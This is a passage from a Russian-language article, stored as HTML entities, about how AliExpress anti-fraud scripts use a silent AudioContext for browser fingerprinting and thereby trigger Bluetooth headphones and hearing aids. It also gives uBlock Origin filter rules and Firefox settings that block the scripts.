&#x421;&#x43C;&#x44B;&#x441;&#x43B; &#x43A;&#x43E;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x446;&#x438;&#x438; &#x432; &#x441;&#x440;&#x430;&#x432;&#x43D;&#x435;&#x43D;&#x438;&#x438; &#x432;&#x445;&#x43E;&#x434;&#x430; &#x441; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x43E;&#x43C;. &#x424;&#x43E;&#x440;&#x43C;&#x430; &#x432;&#x43E;&#x43B;&#x43D;&#x44B; &#x43D;&#x430; &#x432;&#x445;&#x43E;&#x434;&#x435; &#x438;&#x437;&#x432;&#x435;&#x441;&#x442;&#x43D;&#x430; &#x437;&#x430;&#x440;&#x430;&#x43D;&#x435;&#x435;; &#x43F;&#x440;&#x43E;&#x439;&#x434;&#x44F; &#x447;&#x435;&#x440;&#x435;&#x437; &#x430;&#x443;&#x434;&#x438;&#x43E;&#x441;&#x442;&#x435;&#x43A; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x43E;&#x439; &#x441;&#x431;&#x43E;&#x440;&#x43A;&#x438; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x430; &#x43D;&#x430; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x43E;&#x43C; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441;&#x43E;&#x440;&#x435;, &#x43E;&#x43D;&#x430; &#x43F;&#x440;&#x438;&#x43E;&#x431;&#x440;&#x435;&#x442;&#x430;&#x435;&#x442; &#x43A;&#x440;&#x43E;&#x448;&#x435;&#x447;&#x43D;&#x44B;&#x435; &#x43E;&#x442;&#x43B;&#x438;&#x447;&#x438;&#x44F; &#x437;&#x430; &#x441;&#x447;&#x451;&#x442; &#x43E;&#x43A;&#x440;&#x443;&#x433;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x447;&#x438;&#x441;&#x435;&#x43B; &#x441; &#x43F;&#x43B;&#x430;&#x432;&#x430;&#x44E;&#x449;&#x435;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x43E;&#x439;. &#x421;&#x43F;&#x435;&#x43A;&#x442;&#x440; &#x43D;&#x430; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x435; &#x441;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; &#x430;&#x43D;&#x430;&#x43B;&#x438;&#x437;&#x430;&#x442;&#x43E;&#x440; &#x2014; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x443;&#x441;&#x442;&#x43E;&#x439;&#x447;&#x438;&#x432;&#x430;&#x44F; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x430; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x430;. &#x41D;&#x443;&#x43B;&#x435;&#x432;&#x43E;&#x439; &#x433;&#x435;&#x439;&#x43D; &#x434;&#x43E;&#x431;&#x430;&#x432;&#x43B;&#x435;&#x43D; &#x440;&#x430;&#x434;&#x438; &#x442;&#x43E;&#x433;&#x43E;, &#x447;&#x442;&#x43E;&#x431;&#x44B; &#x447;&#x435;&#x43B;&#x43E;&#x432;&#x435;&#x43A; &#x437;&#x430; &#x44D;&#x43A;&#x440;&#x430;&#x43D;&#x43E;&#x43C; &#x43D;&#x438;&#x447;&#x435;&#x433;&#x43E; &#x43D;&#x435; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x438;&#x43B;. 

&#x41D;&#x43E;&#x43B;&#x44C; &#x432; &#x433;&#x440;&#x430;&#x444;&#x435; &#x2014; &#x43D;&#x435; &#x43D;&#x43E;&#x43B;&#x44C; &#x432; &#x434;&#x440;&#x430;&#x439;&#x432;&#x435;&#x440;&#x435;

&#x412;&#x43E;&#x442; &#x437;&#x434;&#x435;&#x441;&#x44C; &#x438; &#x43D;&#x430;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x440;&#x430;&#x437;&#x432;&#x438;&#x43B;&#x43A;&#x430;, &#x43E;&#x431;&#x44A;&#x44F;&#x441;&#x43D;&#x44F;&#x44E;&#x449;&#x430;&#x44F; &#x43F;&#x43E;&#x43B;&#x43E;&#x43C;&#x43A;&#x443;. &#x41E;&#x442;&#x43F;&#x435;&#x447;&#x430;&#x442;&#x43E;&#x43A; &#x43F;&#x43E; &#x437;&#x432;&#x443;&#x43A;&#x443; &#x442;&#x440;&#x430;&#x434;&#x438;&#x446;&#x438;&#x43E;&#x43D;&#x43D;&#x43E; &#x441;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x442; &#x447;&#x435;&#x440;&#x435;&#x437; OfflineAudioContext: &#x442;&#x43E;&#x442; &#x43F;&#x440;&#x43E;&#x441;&#x447;&#x438;&#x442;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x431;&#x443;&#x444;&#x435;&#x440; &#x431;&#x44B;&#x441;&#x442;&#x440;&#x435;&#x435; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x433;&#x43E; &#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x438; &#x438; &#x434;&#x43E; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x43E;&#x439; &#x43A;&#x430;&#x440;&#x442;&#x44B; &#x43F;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x442;&#x443; &#x43D;&#x435; &#x434;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F;. &#x416;&#x435;&#x43B;&#x435;&#x437;&#x43E; &#x432; &#x442;&#x430;&#x43A;&#x43E;&#x43C; &#x441;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x438; &#x43D;&#x435; &#x437;&#x430;&#x434;&#x435;&#x439;&#x441;&#x442;&#x432;&#x43E;&#x432;&#x430;&#x43D;&#x43E; &#x43D;&#x438;&#x43A;&#x430;&#x43A;. 

&#x412; &#x43D;&#x430;&#x448;&#x435;&#x43C; &#x436;&#x435; &#x441;&#x43B;&#x443;&#x447;&#x430;&#x435; &#x441;&#x43E;&#x437;&#x434;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x43F;&#x43E;&#x43B;&#x43D;&#x43E;&#x446;&#x435;&#x43D;&#x43D;&#x44B;&#x439; AudioContext, &#x430; &#x435;&#x433;&#x43E; &#x43F;&#x43E;&#x441;&#x43B;&#x435;&#x434;&#x43D;&#x438;&#x439; &#x443;&#x437;&#x435;&#x43B; &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x451;&#x43D; &#x43A; destination. &#x421; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x437;&#x440;&#x435;&#x43D;&#x438;&#x44F; &#x43E;&#x43F;&#x435;&#x440;&#x430;&#x446;&#x438;&#x43E;&#x43D;&#x43D;&#x43E;&#x439; &#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x44B; &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430; &#x43E;&#x434;&#x43D;&#x43E;&#x437;&#x43D;&#x430;&#x447;&#x43D;&#x430;: &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x430; &#x43D;&#x430;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x430; &#x432;&#x43E;&#x441;&#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x44C; &#x437;&#x432;&#x443;&#x43A;, &#x437;&#x43D;&#x430;&#x447;&#x438;&#x442; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x43E; &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x430; &#x43D;&#x430;&#x434;&#x43E; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44C;. &#x41D;&#x430; &#x44D;&#x442;&#x43E; &#x440;&#x435;&#x448;&#x435;&#x43D;&#x438;&#x435; &#x433;&#x440;&#x43E;&#x43C;&#x43A;&#x43E;&#x441;&#x442;&#x44C; &#x43D;&#x438;&#x43A;&#x430;&#x43A; &#x43D;&#x435; &#x432;&#x43B;&#x438;&#x44F;&#x435;&#x442; &#x2014; &#x43E;&#x43D;&#x430; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x432;&#x43D;&#x443;&#x442;&#x440;&#x438; &#x433;&#x440;&#x430;&#x444;&#x430;, &#x430; &#x43D;&#x435; &#x432; &#x434;&#x440;&#x430;&#x439;&#x432;&#x435;&#x440;&#x435;. &#x414;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x432;&#x441;&#x442;&#x443;&#x43F;&#x430;&#x435;&#x442; &#x43C;&#x435;&#x445;&#x430;&#x43D;&#x438;&#x43A;&#x430; &#x43C;&#x443;&#x43B;&#x44C;&#x442;&#x438;&#x43F;&#x43E;&#x439;&#x43D;&#x442;&#x430;: &#x440;&#x430;&#x437; &#x43F;&#x43E;&#x442;&#x43E;&#x43A; &#x441;&#x43E; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x44B; &#x43A;&#x43E;&#x43C;&#x43F;&#x44C;&#x44E;&#x442;&#x435;&#x440;&#x430; &#x430;&#x43A;&#x442;&#x438;&#x432;&#x435;&#x43D;, &#x442;&#x435;&#x43B;&#x435;&#x444;&#x43E;&#x43D; &#x443;&#x441;&#x442;&#x443;&#x43F;&#x430;&#x435;&#x442; &#x43E;&#x447;&#x435;&#x440;&#x435;&#x434;&#x44C;. 

&#x1F512; &#x411;&#x435;&#x437;&#x43E;&#x43F;&#x430;&#x441;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x417;&#x43D;&#x430;&#x447;&#x43E;&#x43A; &#xAB;&#x432;&#x43E; &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x435; &#x438;&#x433;&#x440;&#x430;&#x435;&#x442; &#x437;&#x432;&#x443;&#x43A;&#xBB; &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x43D;&#x435; &#x437;&#x430;&#x436;&#x438;&#x433;&#x430;&#x435;&#x442;&#x441;&#x44F;. &#x41E;&#x442;&#x441;&#x44E;&#x434;&#x430; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x435;&#x442; &#x43D;&#x435;&#x43F;&#x440;&#x438;&#x44F;&#x442;&#x43D;&#x43E;&#x435;: &#x441;&#x440;&#x435;&#x434;&#x441;&#x442;&#x432;&#x430;&#x43C;&#x438; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x444;&#x435;&#x439;&#x441;&#x430; &#x43E;&#x442;&#x43B;&#x438;&#x447;&#x438;&#x442;&#x44C; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x443;, &#x43C;&#x43E;&#x43B;&#x447;&#x430; &#x443;&#x434;&#x435;&#x440;&#x436;&#x438;&#x432;&#x430;&#x44E;&#x449;&#x443;&#x44E; &#x432;&#x430;&#x448;&#x443; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x443;&#x44E; &#x43A;&#x430;&#x440;&#x442;&#x443;, &#x43E;&#x442; &#x43B;&#x44E;&#x431;&#x43E;&#x439; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x439; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F;. &#x421;&#x438;&#x433;&#x43D;&#x430;&#x43B;&#x43E;&#x43C; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x43E;&#x432;&#x435;&#x434;&#x435;&#x43D;&#x438;&#x435; &#x441;&#x430;&#x43C;&#x43E;&#x433;&#x43E; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x430;. 

&#x41E;&#x431;&#x441;&#x443;&#x436;&#x434;&#x435;&#x43D;&#x438;&#x435; &#x43D;&#x430; Hacker News &#x434;&#x43E;&#x431;&#x430;&#x432;&#x438;&#x43B;&#x43E; &#x43F;&#x43E;&#x445;&#x43E;&#x436;&#x438;&#x445; &#x43D;&#x430;&#x431;&#x43B;&#x44E;&#x434;&#x435;&#x43D;&#x438;&#x439;. &#x412;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x44C;&#x446;&#x44B; &#x441;&#x43B;&#x443;&#x445;&#x43E;&#x432;&#x44B;&#x445; &#x430;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442;&#x43E;&#x432; Phonak &#x440;&#x430;&#x441;&#x441;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x44E;&#x442;, &#x447;&#x442;&#x43E; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x441;&#x430;&#x439;&#x442;&#x44B; &#x438; &#x43C;&#x43E;&#x431;&#x438;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x43F;&#x440;&#x438;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x44F; &#x43D;&#x430; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x44E;&#x442; &#x430;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442; &#x432; &#x440;&#x435;&#x436;&#x438;&#x43C; Bluetooth-&#x441;&#x442;&#x440;&#x438;&#x43C;&#x430;, &#x43F;&#x440;&#x438;&#x433;&#x43B;&#x443;&#x448;&#x430;&#x44F; &#x43E;&#x43A;&#x440;&#x443;&#x436;&#x430;&#x44E;&#x449;&#x438;&#x435; &#x437;&#x432;&#x443;&#x43A;&#x438;. &#x415;&#x449;&#x451; &#x43E;&#x434;&#x438;&#x43D; &#x443;&#x447;&#x430;&#x441;&#x442;&#x43D;&#x438;&#x43A; &#x441;&#x432;&#x44F;&#x437;&#x430;&#x43B; &#x440;&#x435;&#x433;&#x443;&#x43B;&#x44F;&#x440;&#x43D;&#x44B;&#x435; &#x43F;&#x43E;&#x434;&#x432;&#x438;&#x441;&#x430;&#x43D;&#x438;&#x44F; Bluetooth-&#x43C;&#x44B;&#x448;&#x438; &#x43D;&#x430; MacBook &#x441;&#x43E; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x435;&#x439; &#x432;&#x445;&#x43E;&#x434;&#x430; American Express. &#x412;&#x441;&#x451; &#x44D;&#x442;&#x43E; &#x2014; &#x440;&#x435;&#x43F;&#x43B;&#x438;&#x43A;&#x438; &#x432; &#x442;&#x440;&#x435;&#x434;&#x435;, &#x430; &#x43D;&#x435; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x438;&#x44F;, &#x438; &#x432;&#x44B;&#x434;&#x430;&#x432;&#x430;&#x442;&#x44C; &#x438;&#x445; &#x437;&#x430; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x444;&#x430;&#x43A;&#x442;&#x44B; &#x43D;&#x435;&#x43A;&#x43E;&#x440;&#x440;&#x435;&#x43A;&#x442;&#x43D;&#x43E;. &#x41D;&#x43E; &#x43E;&#x431;&#x449;&#x435;&#x435; &#x43D;&#x430;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x43E;&#x43D;&#x438; &#x43F;&#x43E;&#x434;&#x441;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x44E;&#x442;: &#x43F;&#x43E;&#x431;&#x43E;&#x447;&#x43D;&#x44B;&#x439; &#x44D;&#x444;&#x444;&#x435;&#x43A;&#x442; &#x432;&#x440;&#x44F;&#x434; &#x43B;&#x438; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D; &#x43E;&#x434;&#x43D;&#x438;&#x43C; &#x43C;&#x430;&#x433;&#x430;&#x437;&#x438;&#x43D;&#x43E;&#x43C;. 

&#x427;&#x442;&#x43E; &#x443;&#x435;&#x437;&#x436;&#x430;&#x435;&#x442; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x435; &#x441;&#x43E; &#x437;&#x432;&#x443;&#x43A;&#x43E;&#x43C;

&#x417;&#x432;&#x443;&#x43A;&#x43E;&#x432;&#x430;&#x44F; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x430; &#x432; &#x44D;&#x442;&#x43E;&#x43C; &#x43D;&#x430;&#x431;&#x43E;&#x440;&#x435; &#x434;&#x430;&#x43B;&#x435;&#x43A;&#x43E; &#x43D;&#x435; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x430;&#x44F;. &#x420;&#x430;&#x437;&#x431;&#x43E;&#x440; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x44F;&#x435;&#x442; &#x442;&#x430;&#x43A;&#x436;&#x435; &#x43E;&#x442;&#x440;&#x438;&#x441;&#x43E;&#x432;&#x43A;&#x443; canvas &#x432;&#x43C;&#x435;&#x441;&#x442;&#x435; &#x441; toDataURL(), &#x441;&#x432;&#x435;&#x434;&#x435;&#x43D;&#x438;&#x44F; WebGL &#x2014; &#x440;&#x435;&#x43D;&#x434;&#x435;&#x440;&#x435;&#x440;, &#x440;&#x430;&#x441;&#x448;&#x438;&#x440;&#x435;&#x43D;&#x438;&#x44F;, &#x442;&#x43E;&#x447;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x448;&#x435;&#x439;&#x434;&#x435;&#x440;&#x43E;&#x432;, &#x2014; &#x433;&#x435;&#x43E;&#x43C;&#x435;&#x442;&#x440;&#x438;&#x44E; &#x44D;&#x43A;&#x440;&#x430;&#x43D;&#x430; &#x438; &#x432;&#x44C;&#x44E;&#x43F;&#x43E;&#x440;&#x442;&#x430;, devicePixelRatio, hardwareConcurrency, deviceMemory, &#x43F;&#x435;&#x440;&#x435;&#x447;&#x435;&#x43D;&#x44C; &#x43F;&#x43B;&#x430;&#x433;&#x438;&#x43D;&#x43E;&#x432;, &#x43F;&#x43E;&#x434;&#x434;&#x435;&#x440;&#x436;&#x438;&#x432;&#x430;&#x435;&#x43C;&#x44B;&#x435; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x44B; &#x430;&#x443;&#x434;&#x438;&#x43E; &#x438; &#x432;&#x438;&#x434;&#x435;&#x43E;, &#x43F;&#x43E;&#x432;&#x430;&#x434;&#x43A;&#x438; WebRTC, &#x442;&#x430;&#x439;&#x43C;&#x438;&#x43D;&#x433;&#x438; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x438;, &#x441;&#x43E;&#x431;&#x44B;&#x442;&#x438;&#x44F; &#x43C;&#x44B;&#x448;&#x438;, &#x43A;&#x430;&#x441;&#x430;&#x43D;&#x438;&#x439;, &#x444;&#x43E;&#x43A;&#x443;&#x441;&#x430; &#x438; &#x43F;&#x440;&#x43E;&#x43A;&#x440;&#x443;&#x442;&#x43A;&#x438;, &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x430;&#x43D;&#x438;&#x44F; &#x430;&#x43A;&#x441;&#x435;&#x43B;&#x435;&#x440;&#x43E;&#x43C;&#x435;&#x442;&#x440;&#x430; &#x441; &#x433;&#x438;&#x440;&#x43E;&#x441;&#x43A;&#x43E;&#x43F;&#x43E;&#x43C;, &#x43F;&#x43B;&#x44E;&#x441; &#x43C;&#x430;&#x440;&#x43A;&#x435;&#x440;&#x44B; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x437;&#x430;&#x446;&#x438;&#x438; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x430;. &#x421;&#x43E;&#x431;&#x440;&#x430;&#x43D;&#x43D;&#x43E;&#x435; &#x448;&#x438;&#x444;&#x440;&#x443;&#x435;&#x442;&#x441;&#x44F; &#x438; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x44B; Alibaba. 

&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x41E; &#x43D;&#x430;&#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x438; &#x437;&#x430;&#x431;&#x44B;&#x432;&#x430;&#x442;&#x44C; &#x43D;&#x435; &#x441;&#x442;&#x43E;&#x438;&#x442;. collina.js &#x438; fireyejs.js &#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x44F;&#x442;&#x441;&#x44F; &#x43A; &#x430;&#x43D;&#x442;&#x438;&#x444;&#x440;&#x43E;&#x434;&#x443; &#x438; &#x430;&#x43D;&#x442;&#x438;&#x431;&#x43E;&#x442;&#x443;, &#x440;&#x435;&#x43A;&#x43B;&#x430;&#x43C;&#x43D;&#x43E;&#x439; &#x430;&#x43D;&#x430;&#x43B;&#x438;&#x442;&#x438;&#x43A;&#x43E;&#x439; &#x43E;&#x43D;&#x438; &#x43D;&#x435; &#x44F;&#x432;&#x43B;&#x44F;&#x44E;&#x442;&#x441;&#x44F;. &#x41E;&#x43F;&#x43E;&#x437;&#x43D;&#x430;&#x43D;&#x438;&#x435; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x430; &#x434;&#x43B;&#x44F; &#x43F;&#x43E;&#x434;&#x43E;&#x431;&#x43D;&#x44B;&#x445; SDK &#x2014; &#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x43D;&#x430;&#x44F; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;, &#x430; &#x43D;&#x435; &#x43F;&#x43E;&#x431;&#x43E;&#x447;&#x43D;&#x44B;&#x439; &#x440;&#x435;&#x437;&#x443;&#x43B;&#x44C;&#x442;&#x430;&#x442;. &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x44B; &#x44D;&#x442;&#x43E; &#x441;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; &#x43D;&#x435; &#x43F;&#x43E;&#x43B;&#x43D;&#x43E;&#x441;&#x442;&#x44C;&#x44E;, &#x437;&#x430;&#x442;&#x43E; &#x43E;&#x431;&#x44A;&#x44F;&#x441;&#x43D;&#x44F;&#x435;&#x442; &#x441;&#x430;&#x43C;&#x43E; &#x43F;&#x440;&#x438;&#x441;&#x443;&#x442;&#x441;&#x442;&#x432;&#x438;&#x435; &#x43A;&#x43E;&#x434;&#x430;. 

&#x41A;&#x430;&#x43A; &#x44D;&#x442;&#x43E; &#x432;&#x44B;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C;

&#x423; &#x430;&#x432;&#x442;&#x43E;&#x440;&#x430; &#x440;&#x430;&#x437;&#x431;&#x43E;&#x440;&#x430; &#x441;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x43B;&#x438; &#x434;&#x432;&#x430; &#x444;&#x438;&#x43B;&#x44C;&#x442;&#x440;&#x430; uBlock Origin &#x2014; &#x441; &#x43D;&#x438;&#x43C;&#x438; &#x441;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x435; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43A;&#x441;&#x442;&#x44B; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x43D;&#x435; &#x43F;&#x43E;&#x44F;&#x432;&#x43B;&#x44F;&#x44E;&#x442;&#x441;&#x44F;: 

||assets.aliexpress-media.com/g/AWSC/uab/*/collina.js$script,domain=aliexpress.com
||assets.aliexpress-media.com/g/AWSC/fireyejs/*/fireyejs.js$script,domain=aliexpress.com

&#x423;&#x431;&#x435;&#x434;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x432; &#x440;&#x435;&#x437;&#x443;&#x43B;&#x44C;&#x442;&#x430;&#x442;&#x435; &#x43D;&#x435;&#x441;&#x43B;&#x43E;&#x436;&#x43D;&#x43E;: &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x435; &#x444;&#x438;&#x43B;&#x44C;&#x442;&#x440;, &#x43E;&#x441;&#x442;&#x430;&#x432;&#x44C;&#x442;&#x435; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x443; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x439; &#x43D;&#x430; &#x43F;&#x43E;&#x43B;&#x43C;&#x438;&#x43D;&#x443;&#x442;&#x44B; &#x438; &#x43F;&#x43E;&#x441;&#x43B;&#x443;&#x448;&#x430;&#x439;&#x442;&#x435;, &#x43F;&#x440;&#x43E;&#x434;&#x43E;&#x43B;&#x436;&#x430;&#x435;&#x442; &#x43B;&#x438; &#x438;&#x433;&#x440;&#x430;&#x442;&#x44C; &#x442;&#x435;&#x43B;&#x435;&#x444;&#x43E;&#x43D;. &#x41F;&#x43E;&#x43C;&#x43D;&#x438;&#x442;&#x435; &#x438; &#x43E; &#x446;&#x435;&#x43D;&#x435;: &#x430;&#x43D;&#x442;&#x438;&#x444;&#x440;&#x43E;&#x434;-&#x441;&#x43A;&#x440;&#x438;&#x43F;&#x442;, &#x43B;&#x438;&#x448;&#x451;&#x43D;&#x43D;&#x44B;&#x439; &#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x43E;&#x442;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x442;&#x44C;, &#x432;&#x43F;&#x43E;&#x43B;&#x43D;&#x435; &#x43C;&#x43E;&#x436;&#x435;&#x442; &#x43E;&#x431;&#x435;&#x440;&#x43D;&#x443;&#x442;&#x44C;&#x441;&#x44F; &#x43E;&#x442;&#x43A;&#x430;&#x437;&#x43E;&#x43C; &#x43F;&#x440;&#x438; &#x43E;&#x444;&#x43E;&#x440;&#x43C;&#x43B;&#x435;&#x43D;&#x438;&#x438; &#x437;&#x430;&#x43A;&#x430;&#x437;&#x430; &#x438;&#x43B;&#x438; &#x434;&#x43E;&#x43F;&#x43E;&#x43B;&#x43D;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x43A;&#x430;&#x43F;&#x447;&#x435;&#x439;, &#x442;&#x430;&#x43A; &#x447;&#x442;&#x43E; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x43E; &#x43B;&#x443;&#x447;&#x448;&#x435; &#x434;&#x435;&#x440;&#x436;&#x430;&#x442;&#x44C; &#x43F;&#x43E;&#x434; &#x440;&#x443;&#x43A;&#x43E;&#x439; &#x432; &#x432;&#x44B;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x435;&#x43C;&#x43E;&#x43C; &#x432;&#x438;&#x434;&#x435;. 

&#x41E;&#x431;&#x43E;&#x439;&#x442;&#x438;&#x441;&#x44C; &#x431;&#x435;&#x437; &#x43F;&#x440;&#x430;&#x432;&#x43A;&#x438; &#x444;&#x438;&#x43B;&#x44C;&#x442;&#x440;&#x43E;&#x432; &#x43F;&#x43E;&#x437;&#x432;&#x43E;&#x43B;&#x44F;&#x435;&#x442; Firefox. &#x41F;&#x443;&#x442;&#x44C; &#x2014; &#x41D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x2192; &#x41F;&#x440;&#x438;&#x432;&#x430;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x438; &#x437;&#x430;&#x449;&#x438;&#x442;&#x430; &#x2192; &#x420;&#x430;&#x437;&#x440;&#x435;&#x448;&#x435;&#x43D;&#x438;&#x44F; &#x2192; &#x410;&#x432;&#x442;&#x43E;&#x432;&#x43E;&#x441;&#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x435;&#x434;&#x435;&#x43D;&#x438;&#x435;, &#x433;&#x434;&#x435; &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E; &#x432;&#x44B;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#xAB;&#x411;&#x43B;&#x43E;&#x43A;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x430;&#x443;&#x434;&#x438;&#x43E;&#xBB;, &#x430; &#x438;&#x441;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x432;&#x44B;&#x434;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x442;&#x43E;&#x447;&#x435;&#x447;&#x43D;&#x43E; &#x43D;&#x443;&#x436;&#x43D;&#x44B;&#x43C; &#x441;&#x430;&#x439;&#x442;&#x430;&#x43C;. &#x415;&#x441;&#x442;&#x44C; &#x438; &#x43A;&#x440;&#x430;&#x439;&#x43D;&#x44F;&#x44F; &#x43C;&#x435;&#x440;&#x430;: privacy.resistFingerprinting 